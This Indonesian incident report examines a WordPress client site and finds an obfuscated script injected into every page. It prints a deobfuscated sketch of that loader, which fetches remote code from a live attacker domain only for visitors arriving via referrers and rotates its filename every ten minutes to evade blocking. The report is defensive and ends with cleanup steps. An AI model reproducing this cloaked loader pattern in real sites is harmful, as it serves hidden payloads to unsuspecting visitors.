# DAS Bengkel — skrip suntikan di seluruh halaman (11 Oktober 2026)

Diminta Bos: memeriksa `https://dasindonesia.com/merawat-sistem-pendingin-mesin-radiator-cairan/`
yang tidak bisa dibuka.

## Halamannya sendiri sehat

```
HTTP 200 · judul "Merawat Sistem Pendingin Mesin: Radiator, Cairan, dan Tanda Bahaya"
isi 1.315 kata terlihat · tanpa elemen tersembunyi · tanpa kata judi di isi
status Google: Submitted and indexed · crawl terakhir 7 Okt · robots ALLOWED
```

Alamat dengan dan tanpa garis miring juga normal (satu kali pengalihan 301).

## Tapi ada skrip suntikan di semua halaman

Di dalam HTML semua halaman dasindonesia.com (beranda, artikel, halaman hubungi) ada satu skrip
yang disamarkan. Isinya, setelah dibaca:

```js
// disamarkan dengan nama variabel acak (_b4a7b, _86b24, _8e635)
var waktu = Date.now() / 1000;
waktu -= waktu % 600;                       // dibulatkan tiap 10 menit
waktu = waktu.toString(16);
var asal = document.referrer;
if (!asal) return;                          // HANYA jalan kalau pengunjung datang dari tautan lain
var domain = <decoded>;                     // livedashboardkit.info
document.head.appendChild(<script src="https://livedashboardkit.info/track-" + waktu + ".js">);
```

Yang penting dari perilaku skrip ini:

- **Hanya aktif bila pengunjung datang dari luar** (misalnya dari hasil pencarian Google atau tautan di
  media sosial). Kalau alamatnya dibuka langsung, skripnya diam.
- Memuat berkas tambahan dari `https://livedashboardkit.info/track-<hex>.js`, dengan nama berkas yang
  berganti setiap 10 menit supaya sulit diblokir.
- Domain `livedashboardkit.info` **hidup** (IP 103.224.182.208) dan menyajikan halaman web, jadi
  berkasnya benar-benar bisa diambil.

Ini pola cloaking: pengunjung dari mesin pencari mendapat perlakuan berbeda, sementara pemilik situs
yang membuka alamatnya sendiri tidak melihat keanehan apa pun. Ini juga penjelasan paling masuk akal
kenapa halaman itu terasa "tidak bisa dibuka" di perangkat Bos.

## Bukan di isi artikel

Saya periksa 161 artikel dan halaman lewat REST: **tidak ada satu pun yang isinya memuat skrip itu**.
Artinya suntikannya bukan di konten, melainkan ditanam di berkas tema/plugin atau di snippet penyisip
kode. Tersangka utama:

1. **WPCode Lite** (plugin penyisip kode di head/footer) — tempat paling lazim untuk suntikan seperti ini.
2. Berkas tema **Node** (`header.php` / `footer.php`) atau plugin lain.

Dari luar saya tidak bisa membaca berkas-berkas itu, jadi pemeriksaan di dalam perlu dilakukan.

## Situs klien lain bersih

Saya pindai 13 situs klien (beranda dan satu artikel masing-masing). Skrip ini **hanya ada di DAS**.
Temuan berbeda di situs lain: TSLaw (alamat .htm + plugin WP2P), TSC dan Kendangsari (tautan judi
tersembunyi). Tiga pola berbeda, tapi semuanya menuju satu kesimpulan: kredensial atau jalur masuk
yang sama kemungkinan bocor.

## Yang perlu dikerjakan

1. **Cek WPCode Lite → Code Snippets.** Cari snippet yang memuat `livedashboardkit.info` atau kode
   dengan variabel acak seperti di atas, lalu hapus. Ini yang paling mungkin jadi sumbernya.
2. **Pindai situs dengan Wordfence atau Sucuri**, dan bandingkan berkas tema dengan versi aslinya.
3. **Bersihkan cache WP Rocket dan Cloudflare** setelah snippet dihapus. Kalau tidak, versi bersih
   tidak akan terkirim karena cache masih menyimpan halaman lama.
4. **Ganti kata sandi admin dan kata sandi aplikasi** yang dipakai skrip kami.
5. Kalau Bos mau, setelah snippet dihapus saya verifikasi ulang seluruh halaman DAS untuk memastikan
   skripnya benar-benar hilang.